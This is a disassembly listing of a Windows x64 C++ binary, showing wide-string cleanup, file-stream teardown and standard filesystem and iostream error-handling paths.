mov qword [rsp + 0x3c0], 7
mov word [rsp + 0x3a8], bx
mov rdx, qword [rsp + 0x3e0]
cmp rdx, 7
jbe 0x14003a1f0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x3c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a1eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a954
call fcn.140260e60
mov qword [rsp + 0x3d8], rbx
mov qword [rsp + 0x3e0], 7
mov word [rsp + 0x3c8], bx
mov rdx, qword [rsp + 0x3a0]
cmp rdx, 7
jbe 0x14003a254
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x388]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a24f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a95a
call fcn.140260e60
mov qword [rsp + 0x398], rbx
mov qword [rsp + 0x3a0], 7
mov word [rsp + 0x388], bx
mov rax, qword [rsp + 0x3f0]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rsp + rcx + 0x3f0], rsi
mov rax, qword [rsp + 0x3f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3ec], edx
lea rcx, [rsp + 0x3f8]
call fcn.1400429e0
mov rax, qword [rsp + 0x3f0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rsp + rcx + 0x3f0], rax
mov rax, qword [rsp + 0x3f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x3ec], edx
lea r14, vtable.std::ios_base.0
mov qword [rsp + 0x498], r14
lea rcx, [rsp + 0x498]
call fcn.1402451c4
nop
mov rdx, qword [rsp + 0x308]
cmp rdx, 7
jbe 0x14003a347
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a342
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a960
call fcn.140260e60
mov qword [rsp + 0x300], rbx
mov qword [rsp + 0x308], 7
mov word [rsp + 0x2f0], bx
mov rdx, qword [rsp + 0x328]
cmp rdx, 7
jbe 0x14003a3ab
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a3a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a966
call fcn.140260e60
mov qword [rsp + 0x320], rbx
mov qword [rsp + 0x328], 7
mov word [rsp + 0x310], bx
mov rdx, qword [rsp + 0x360]
cmp rdx, 7
jbe 0x14003a410
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x348]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a40a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a96c
call fcn.140260e60
nop
mov rdx, qword [rsp + 0x288]
cmp rdx, 7
jbe 0x14003a458
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a453
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a972
call fcn.140260e60
mov qword [rsp + 0x280], rbx
mov qword [rsp + 0x288], 7
mov word [rsp + 0x270], bx
mov rdx, qword [rsp + 0x2a8]
cmp rdx, 0xf
jbe 0x14003a4b7
inc rdx
mov rcx, qword [rsp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a4b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a978
call fcn.140260e60
mov rdi, qword [rsp + 0x68]
mov r15d, 2
lea rsi, str.Xa_
jmp 0x140039520
mov rcx, qword [rsp + 0x1f8]
call fcn.140167240
mov rcx, qword [rsp + 0x200]
call fcn.1401813e0
mov r8d, 3
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x1b0]
call fcn.14000a160
movsd xmm0, qword [rax]
movsd qword [rsp + 0x170], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0xd0], ecx
mov qword [rsp + 0xd8], rsi
movaps xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0x210], xmm0
mov eax, dword [rsp + 0x170]
test eax, eax
je 0x14003a594
cmp eax, 1
je 0x14003a59c
lea rcx, [rsp + 0x230]
cmp qword [rsp + 0x248], 7
cmova rcx, qword [rsp + 0x230]
call fcn.1402427a0
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x14003a97e
jmp 0x14003a59c
test ecx, ecx
jne 0x14003a997
mov rdx, qword [rsp + 0x248]
cmp rdx, 7
jbe 0x14003a5e4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a5df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a9b4
call fcn.140260e60
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], 7
mov word [rsp + 0x230], bx
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 0xf
jbe 0x14003a644
inc rdx
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a63e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a9ba
call fcn.140260e60
nop
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x14003a68c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a687
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a9dd
call fcn.140260e60
mov qword [rsp + 0x260], rbx
mov qword [rsp + 0x268], 7
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 0xf
jbe 0x14003a6eb
inc rdx
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a6e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a9e3
call fcn.140260e60
add rdi, 0x20
jmp 0x140038c4d
test ecx, ecx
jne 0x14003a9c0
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x14003a744
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a73f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a9dd
call fcn.140260e60
mov qword [rsp + 0x260], rbx
mov qword [rsp + 0x268], 7
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 0xf
jbe 0x14003a6eb
inc rdx
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a6e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003a9e3
jmp 0x14003a6e6
lea rcx, [rsp + 0x330]
call fcn.140042b40
nop
mov rdx, qword [rsp + 0x380]
cmp rdx, 7
jbe 0x1400392ca
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x368]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400392c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400392c5
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
int3
shr rdx, 0x20
lea r8, [rsp + 0x230]
lea rcx, str.remove
call fcn.140008bb0
int3
lea r8, [rsp + 0x230]
lea rdx, [rsp + 0x210]
lea rcx, str.exists
call fcn.140008ca0
int3
shr rdx, 0x20
lea r9, [rsp + 0x230]
lea r8, [rsp + 0x250]
lea rcx, str.copy_file
call fcn.140008c20
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
int3
call fcn.14027d5c0
nop
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x210]
lea rcx, str.exists
call fcn.140008ca0
nop
shr rdx, 0x20
lea r8, [rsp + 0x48]
lea rcx, str.create_directory
call fcn.140008bb0
nop
call fcn.14027d5c0
int3
call fcn.140051fd0
nop
call fcn.140003620
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
int3
test dl, 4
je 0x14003a8ff
lea rbx, str.ios_base::badbit_set
jmp 0x14003a914
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x1c0]
call fcn.140003a00
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x1d0]
call fcn.140005450
lea rdx, [0x14033e918]
lea rcx, [rsp + 0x1d0]
call fcn.140263268
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
shr rdx, 0x20
lea r8, [rsp + 0x230]
lea rcx, str.remove
call fcn.140008bb0
int3
lea r8, [rsp + 0x230]
lea rdx, [rsp + 0x210]
lea rcx, str.exists
call fcn.140008ca0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
int3
lea r8, [rsp + 0x250]
lea rdx, [rsp + 0x210]
lea rcx, str.exists
call fcn.140008ca0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
int3